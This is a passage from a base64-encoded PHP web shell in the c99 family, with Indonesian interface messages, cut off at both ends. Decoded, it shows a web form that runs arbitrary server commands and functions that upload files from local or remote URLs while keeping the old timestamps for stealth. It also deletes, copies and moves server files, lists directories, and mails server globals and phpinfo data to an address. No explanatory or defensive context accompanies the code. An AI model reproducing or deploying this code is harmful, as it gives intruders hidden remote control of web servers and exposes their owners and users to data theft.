sZWFuKCk7IAplY2hvICR0bXA7IAokYm9keSAuPSAiXG4iLiJwaHBpbmZvKCk6ICIuJHBocGluZm8uIlxuIi4iXCRHTE9CQUxTPSIuYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJEdMT0JBTFMpKS4iXG4iOyAKfSAKbWFpbCgkc3VwcG1haWwsImZlZWRiYWNrICMiLiR0aWNrZXQsJGJvZHksIkZST006ICIuJHN1cHBtYWlsKTsgCmVjaG8gIjxjZW50ZXI+PGI+WW91ciB0aWNrZXQgSUQ6ICIuJHRpY2tldC4iLjwvYj48L2NlbnRlcj4iOyAKfSBlbHNlIHsKZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eHR1eCB2YWx1ZT1mZWVkYmFjaz5Db250YWN0IFVzICgiLnN0cl9yZXBsYWNlKGFycmF5KCJAIiwiLiIpLGFycmF5KCJbYXRdIiwiW2RvdF0iKSwkc3VwcG1haWwpLiIpOjxicj48YnI+WW91ciBuYW1lOiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZmRia19uYW1lXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlwiPjxicj48YnI+WW91ciBlLW1haWw6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX2VtYWlsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcIj48YnI+PGJyPk1lc3NhZ2U6PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZmRia19ib2R5XCIgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmZGJrX3JlZlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJEhUVFBfUkVGRVJFUikuIlwiPjxicj48YnI+QXR0YWNoIHNlcnZlci1pbmZvICogPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmZGJrX3NlcnZpbmZcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+VGhlcmUgYXJlIG5vIGNoZWNraW5nIGluIHRoZSBmb3JtLjxicj48YnI+KiAtIHN0cm9uZ2x5IHJlY29tbWVuZGVkLCBpZiB5b3UgcmVwb3J0IGJ1ZywgYmVjYXVzZSB3ZSBuZWVkIGl0IGZvciBidWctZml4Ljxicj48YnI+V2UgdW5kZXJzdGFuZCBsYW5ndWFnZXM6IEVuZ2xpc2gsIEluZG9uZXNpYW4uPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlbmRcIj48L2Zvcm0+Ijt9IAp9IAppZiAoJHh0dXggPT0gInVwbG9hZCIpIHsgCiR1cGxvYWRtZXNzID0gIiI7IAokdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7IAppZiAoZW1wdHkoJHVwbG9hZHBhdGgpKSB7JHVwbG9hZHBhdGggPSAkZDsKfSAKZWxzZWlmIChzdWJzdHIoJHVwbG9hZHBhdGgsLTEpICE9ICIvIikgeyR1cGxvYWRwYXRoIC49ICIvIjsKfSAKaWYgKCFlbXB0eSgkc3VibWl0KSkgeyAKZ2xvYmFsICRIVFRQX1BPU1RfRklMRVM7IAokdXBsb2FkZmlsZSA9ICRIVFRQX1BPU1RfRklMRVNbInVwbG9hZGZpbGUiXTsgCmlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKSB7IAppZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdOwp9IGVsc2UgewokZGVzdGluID0gJHVzZXJmaWxlbmFtZTt9IAppZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSwkdXBsb2FkcGF0aC4kZGVzdGluKSkgewoJJHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iOyB9Cn0gCmVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKSAKeyAKaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTsKfSBlbHNlIHsgCiRkZXN0aW4gPSBleHBsb2RlKCIvIiwkZGVzdGluKTsgCiRkZXN0aW4gPSAkZGVzdGluW2NvdW50KCRkZXN0aW4pLTFdOyAKaWYgKGVtcHR5KCRkZXN0aW4pKSAKeyAKICAgICAkaSA9IDA7IAogICAgICRiID0gIiI7IAogICAgIHdoaWxlKGZpbGVfZXhpc3RzKCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7aWYgKCRpID4gMCkgeyRiID0gIl8iLiRpO30gJGRlc3RpbiA9ICJpbmRleCIuJGIuIi5odG1sIjsgJGkrKzt9fSAKICAgICB9IAogICAgIGlmICgoIWVyZWdpKCJodHRwOi8vIiwkdXBsb2FkdXJsKSkgYW5kICghZXJlZ2koImh0dHBzOi8vIiwkdXBsb2FkdXJsKSkgYW5kICghZXJlZ2koImZ0cDovLyIsJHVwbG9hZHVybCkpKSB7ZWNobyAiSW5jb3JlY3QgdXJsITxicj4iOwogICAgIH0gZWxzZSB7CiAgICAgJHN0ID0gZ2V0bWljcm90aW1lKCk7IAogICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOyAKICAgICAkZHQgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc3QsNCk7IAogICAgIGlmICghJGNvbnRlbnQpIHskdXBsb2FkbWVzcyAuPSAgIkNhbid0IGRvd25sb2FkIGZpbGUhPGJyPiI7CiAgICAgfSBlbHNlIHsgCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9IAogICAgICRmcCA9IGZvcGVuKCR1cGxvYWRwYXRoLiRkZXN0aW4sInciKTsgCiAgICAgaWYgKCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxjaGFycygkZGVzdGluKS4iITxicj4iOwogICAgIH0gZWxzZSB7IAogICAgIGZ3cml0ZSgkZnAsJGNvbnRlbnQsc3RybGVuKCRjb250ZW50KSk7IAogICAgIGZjbG9zZSgkZnApOyAKICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJHVwbG9hZHBhdGguJGRlc3Rpbiwkc3RhdFs5XSwkc3RhdFs4XSk7fSAKICAgICB9IAogICAgfSAKICAgfSAKICB9IAogfSAKIGlmICgkbWluaWZvcm0pIAogeyAKIGVjaG8gIiIuJHVwbG9hZG1lc3MuIiI7IAogJHh0dXggPSAibHMiOyAKIH0gZWxzZSB7IAogIGVjaG8gIkZpbGUgdXBsb2FkOjxicj4iLiR1cGxvYWRtZXNzLiI8Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuInh0dXg9dXBsb2FkJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9UE9TVD4gCiAgU2VsZWN0IGZpbGUgb24geW91ciBsb2NhbCBjb21wdXRlcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRmaWxlXCIgdHlwZT1cImZpbGVcIj48YnI+IG9yIDxicj4gCiAgSW5wdXQgVVJMOiA8aW5wdXQgbmFtZT1cInVwbG9hZHVybFwiIHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZHVybCkuIlwiIHNpemU9XCI3MFwiPjxicj48YnI+IAogIFNhdmUgdGhpcyBmaWxlIGRpcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj4gCiAgRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+IAogIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+IGNvbnZlcnQgZmlsZSBuYW1lIHRvIGxvdmVyY2FzZTxicj48YnI+IAogIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlVwbG9hZFwiPiAKICA8L2Zvcm0+IjsgCiB9IAp9IAppZiAoJHh0dXggPT0gImRlbGV0ZSIpIAp7IAogJGRlbGVyciA9ICIiOyAKIGZvcmVhY2ggKCR4dHV4Ym94IGFzICR2KSAKIHsgCiAgJHJlc3VsdCA9IEZBTFNFOyAKICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOyAKICBpZiAoISRyZXN1bHQpIHskZGVsZXJyIC49ICJHYWJpc2EgIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iPGJyPiI7fSAKIH0gCiBpZiAoIWVtcHR5KCRkZWxlcnIpKSB7ZWNobyAiUnVzYWsgOjxicj4iLiRkZWxlcnI7fSAKICR4dHV4ID0gImxzIjsgCn0gCmlmICghJHVzZWZzYnVmZikgCnsgCmlmICgoJHh0dXggPT0gInBhc3RlIikgb3IgKCR4dHV4ID09ICJjb3B5Iikgb3IgKCR4dHV4ID09ICJjdXQiKSBvciAoJHh0dXggPT0gInVuc2VsZWN0IikpIHsKZWNobyAiPGNlbnRlcj5Tb3JyeSwgYnVmZmVyIGlzIGRpc2FibGVkLiBGb3IgZW5hYmxlLCBzZXQgZGlyZWN0aXZlIFwiXCR1c2VGU2J1ZmZcIiBhcyBUUlVFLjwvY2VudGVyPiI7fSAKfSBlbHNlIHsKaWYgKCR4dHV4ID09ICJjb3B5IikgewokZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkeHR1eGJveCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJHh0dXggPSAibHMiOwp9IAplbHNlaWYgKCR4dHV4ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkeHR1eGJveCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJHh0dXggPSAibHMiOwp9CmVsc2VpZiAoJHh0dXggPT0gInVuc2VsZWN0Iikge2ZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHsKaWYgKGluX2FycmF5KCR2LCR4dHV4Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOwogfQp9CmZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkeHR1eGJveCkpIHsKdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fSBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICR4dHV4ID0gImxzIjsKfSAKaWYgKCRhY3RlbXB0eWJ1ZmYpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKfSAKZWxzZWlmICgkYWN0cGFzdGVidWZmKSAKeyAKJHBzdGVyciA9ICIiOyAKZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSAKeyAKJHRvID0gJGQuYmFzZW5hbWUoJHYpOyAKaWYgKCFmc19jb3B5X29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiR2FiaXNhICIuJHYuIiB0byAiLiR0by4iITxicj4iOyB9IAppZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfSAKfSAKZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIAp7IAokdG8gPSAkZC5iYXNlbmFtZSgkdik7IAppZiAoIWZzX21vdmVfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJHYWJpc2EgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7IH0gCnVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7IAp9IApjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7IAppZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiUnVzYWsgOjxicj4iLiRwc3RlcnI7fSAKJHh0dXggPSAibHMiOyAKfSAKZWxzZWlmICgkYWN0cGFzdGVidWZmKSAKeyAKJGFyY2VyciA9ICIiOyAKaWYgKHN1YnN0cigkYWN0cGFzdGVidWZmX3BhdGgsLTcsNykgPT0gIi50YXIuZ3oiKSB7JGV4dCA9ICIudGFyLmd6IjsKfSBlbHNlIHsgJGV4dCA9ICIudGFyLmd6Ijt9IAppZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fSAKJGNtZGxpbmUgLj0gIiAiLiRhY3RwYXN0ZWJ1ZmZfcGF0aDsgCiRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsgCmZvcmVhY2goJG9iamVjdHMgYXMgJHYpIAp7IAokdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7IAppZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9IAppZiAoaXNfZGlyKCR2KSkgCnsgCmlmIChzdWJzdHIoJHYsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdiAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gCiR2IC49ICIqIjsgCn0gCiRjbWRsaW5lIC49ICIgIi4kdjsgCn0gCiR0bXAgPSByZWFscGF0aCgiLiIpOyAKY2hkaXIoJGQpOyAKJHJldCA9IG8yeGRhZXhlYygkY21kbGluZSk7IApjaGRpcigkdG1wKTsgCmlmIChlbXB0eSgkcmV0KSkgeyRhcmNlcnIgLj0gIkdhYmlzYSAoIi5odG1sc3BlY2lhbGNoYXJzKHN0cjJtaW5pKCRjbWRsaW5lLDYwKSkuIikhPGJyPiI7fSAKJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOyAKJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsgCmlmICgkY29weV91bnNldCkge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IApmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgCnsgCmlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9IAp1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOyAKfSAKYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAKaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIkZpbGUgRG91YmxlIDo8YnI+Ii4kYXJjZXJyO30gCiR4dHV4ID0gImxzIjsgCn0gCmVsc2VpZiAoJGFjdHBhc3RlYnVmZikgCnsgCiRwc3RlcnIgPSAiIjsgCmZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgCiAgeyAKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOyAKICAgaWYgKCFmc19jb3B5X29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJHYWJpc2EgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fSAKICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fSAKICB9IAogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSAKICB7IAogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7IAogICBpZiAoIWZzX21vdmVfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkdhYmlzYSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9IAogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOyAKICB9IAogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgCiAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIkVycm9yIDo8YnI+Ii4kcHN0ZXJyO30gCiAgJHh0dXggPSAibHMiOyAKIH0gCn0gCmlmICgkeHR1eCA9PSAiY21kIikgCnsgCiAgaWYgKHRyaW0oJGNtZCkgPT0gInBzIC1hdXgiKSB7JHh0dXggPSAicHJvY2Vzc2VzIjt9IAogIGVsc2VpZiAodHJpbSgkY21kKSA9PSAidGFza2xpc3QiKSB7JHh0dXggPSAicHJvY2Vzc2VzIjsKfSBlbHNlIHsgCiBAY2hkaXIoJGNoZGlyKTsgCmlmICghZW1wdHkoJHN1Ym1pdCkpIAp7IAogIGVjaG8gIkhhc2lsOjxicj4iOyAKICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsgCiAgQGNoZGlyKCRkKTsgCiAgJHJldCA9IG8yeGRhZXhlYygkY21kKTsgCiAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOyAKaWYgKCRjbWRfdHh0KSAKeyAKJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsgCmlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDsKfSAKICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxODBcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7IAp9IGVsc2UgewogIGVjaG8gJHJldC4iPGJyPiI7fSAKICBAY2hkaXIoJG9sZGRpcik7IAp9IGVsc2UgewogIGVjaG8gIkV4ZWN1dGlvbiBjb21tYW5kIjsgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gVFJVRTt9fSAKICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14dHV4IHZhbHVlPWNtZD48dGV4dGFyZWEgbmFtZT1jbWQgY29scz0xODAgcm93cz0xPiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuICRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkY21kX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsgCn0gCn0gCmlmICgkeHR1eCA9PSAibHMiKSAKewogIGlmIChjb3VudCgkbHNfYXJyKSA+IDApIHskbGlzdCA9ICRsc19hcnI7Cn0gZWxzZSB7IAogICRsaXN0ID0gYXJyYXkoKTsgCiAgaWYgKCRoID0gQG9wZW5kaXIoJGQpKSAKeyAKICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgeyRsaXN0W10gPSAkZC4kbzt9IAogIGNsb3NlZGlyKCRoKTsgCiAgICB9IGVsc2UgewogIH0gCn0KICBpZiAoY291bnQoJGxpc3QpID09IDApIHtlY2hvICI8Y2VudGVyPkdhIGJpc2EgYnVrYSBmb2xkZXIgKCIuaHRtbHNwZWNpYWxjaGFycygkZCkuIikhPC9jZW50ZXI+IjsKfSBlbHNlIHsgCi8vQnVpbGRpbmcgYXJyYXkgCiRvYmplY3RzID0gYXJyYXkoKTsgCiR2ZCA9ICJmIjsgLy9WaWV3aW5nIG1vZGUgCmlmICgkdmQgPT0gImYiKSB7IAokb2JqZWN0c1siaGVhZCJdID0gYXJyYXkoKTsgCiRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheSgpOyAKJG9iamVjdHNbImxpbmtzIl0gPSBhcnJheSgpOyAKJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheSgpOyAKZm9yZWFjaCAoJGxpc3QgYXMgJHYpIAp7IAogICRvID0gYmFzZW5hbWUoJHYpOyAKICAkcm93ID0gYXJyYXkoKTsgCiAgaWYgKCRvID09ICIuIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fSAKICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkxJTksiO30gCiAgZWxzZWlmIChpc19kaXIoJHYpKSAKeyAKICBpZiAoaXNfbGluaygkdikpIHskdHlwZSA9ICJMSU5LIjsKfSBlbHNlIHsKICAkdHlwZSA9ICJESVIiO30gCiAgJHJvd1tdID0gJHY7IAogICRyb3dbXSA9ICR0eXBlOyAKfSAKZWxzZWlmKGlzX2ZpbGUoJHYpKSB7JHJvd1tdID0gJHY7ICRyb3dbXSA9IGZpbGVzaXplKCR2KTt9IAokcm93W10gPSBmaWxlbXRpbWUoJHYpOyAKaWYgKCEkd2luKSB7IAogICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkdikpOyAKICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTsgCiAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCR2KSk7IAogIH0gCiAgICAkcm93W10gPSBmaWxlcGVybXMoJHYpOyAKICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskb2JqZWN0c1siaGVhZCJdW10gPSAkcm93O30gCiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fSAKICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyRvYmplY3RzWyJmb2xkZXJzIl1bXSA9ICRyb3c7fSAKICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskb2JqZWN0c1siZmlsZXMiXVtdID0gJHJvdzt9IAogICAgJGkrKzsgCiAgfSAKICAgJHJvdyA9IGFycmF5KCk7IAogICAkcm93W10gPSAiTmFtZSI7IAogICAkcm93W10gPSAiU2l6ZSI7IAogICAkcm93W10gPSAiTW9kaWZ5IjsgCiAgIGlmICghJHdpbikgewogICAkcm93W10gPSAiT3duZXIvR3JvdXAiO30gCiAgICRyb3dbXSA9ICJQZXJtcyI7IAogICAkcm93W10gPSAiQWN0aW9uIjsgCiAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHNvcnQpOyAKICAgJHNvcnQgPSAkcGFyc2Vzb3J0WzBdLiRwYXJzZXNvcnRbMV07IAogICAkayA9ICRwYXJzZXNvcnRbMF07IAogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskcGFyc2Vzb3J0WzFdID0gImQiO30gCiAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRrLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iZCI6ImEiKS4iXCI+IjsgCiAgICR5IC49ICI8aW1nIHNyYz1cIiIuJHN1cmwuInh0dXg9aW1nJmltZz1zb3J0XyIuKCRzb3J0WzFdID09ICJhIj8iYXNjIjoiZGVzYyIpLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJcIiBib3JkZXI9XCIwXCI+PC9hPiI7IAogICAkcm93WyRrXSAuPSAkeTsgCiAgIGZvcigkaT0wOyRpPGNvdW50KCRyb3cpLTE7JGkrKykgCiAgIHsgCiAgICBpZiAoJGkgIT0gJGspIHskcm93WyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieHR1eD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj4iLiRyb3dbJGldLiI8L2E+Ijt9IAogICB9IAogICAkdiA9ICRwYXJzZXNvcnRbMF07IAogICB1c29ydCgkb2JqZWN0c1siZm9sZGVycyJdLCAidGFic29ydCIpOyAKICAgdXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7IAogICB1c29ydCgkb2JqZWN0c1siZmlsZXMiXSwgInRhYnNvcnQiKTsgCiAgIGlmICgkcGFyc2Vzb3J0WzFdID09ICJkIikgCiAgIHsgCiAgICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZm9sZGVycyJdKTsgCiAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOyAKICAgfSAKICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOyAKICAgJHRhYiA9IGFycmF5KCk7IAogICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsgCiAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7IAogICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOyAKICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7IAogICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsgCiAgICRpID0gMDsgCiAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKSAKICAgeyAKICAgICR2ID0gJGFbMF07IAogICAgJG8gPSBiYXNlbmFtZSgkdik7IAogICAgJGRpciA9IGRpcm5hbWUoJHYpOyAKICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30gCiAgICBlbHNlIHskZGlzcHBhdGggPSAkbzt9IAogICAgJGRpc3BwYXRoID0gc3RyMm1pbmkoJGRpc3BwYXRoLDYwKTsgCiAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fSAKICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRkaXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fSAKICAgIGZvcmVhY2ggKCRyZWd4cF9oaWdobGlnaHQgYXMgJHIpIAogICAgeyAKICAgICBpZiAoZXJlZygkclswXSwkbykpIAogICAgIHsgCiAgICAgIGlmICgoIWlzX251bWVyaWMoJHJbMV0pKSBvciAoJHJbMV0gPiAzKSkgeyRyWzFdID0gMDsgb2JfY2xlYW4oKTsgZWNobyAiS29uZmlndXJhc2kgZXJyb3IgXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBUdVhleGl0KCk7Cgl9IGVsc2UgeyAKICAgICAgICRyWzFdID0gcm91bmQoJHJbMV0pOyAKICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7IAogICAgICAgaWYgKCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFuZCAhJGlzZGlyKSBvciAoKCRyWzFdID09IDIpIGFuZCAhJGlzZGlyKSkgCiAgICAgICB7IAogICAgICAgIGlmIChlbXB0eSgkclsyXSkpIHskclsyXSA9ICIiOyAkclszXSA9ICIiO30gCiAgICAgICAgJGRpc3BwYXRoID0gJHJbMl0uJGRpc3BwYXRoLiRyWzNdOyAKICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9IAogICAgICAgfSAKICAgICAgfSAKICAgICB9IAogICAgfSAKICAgICR1byA9IHVybGVuY29kZSgkbyk7IAogICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOyAKICAgICR1diA9IHVybGVuY29kZSgkdik7IAogICAgJHJvdyA9IGFycmF5KC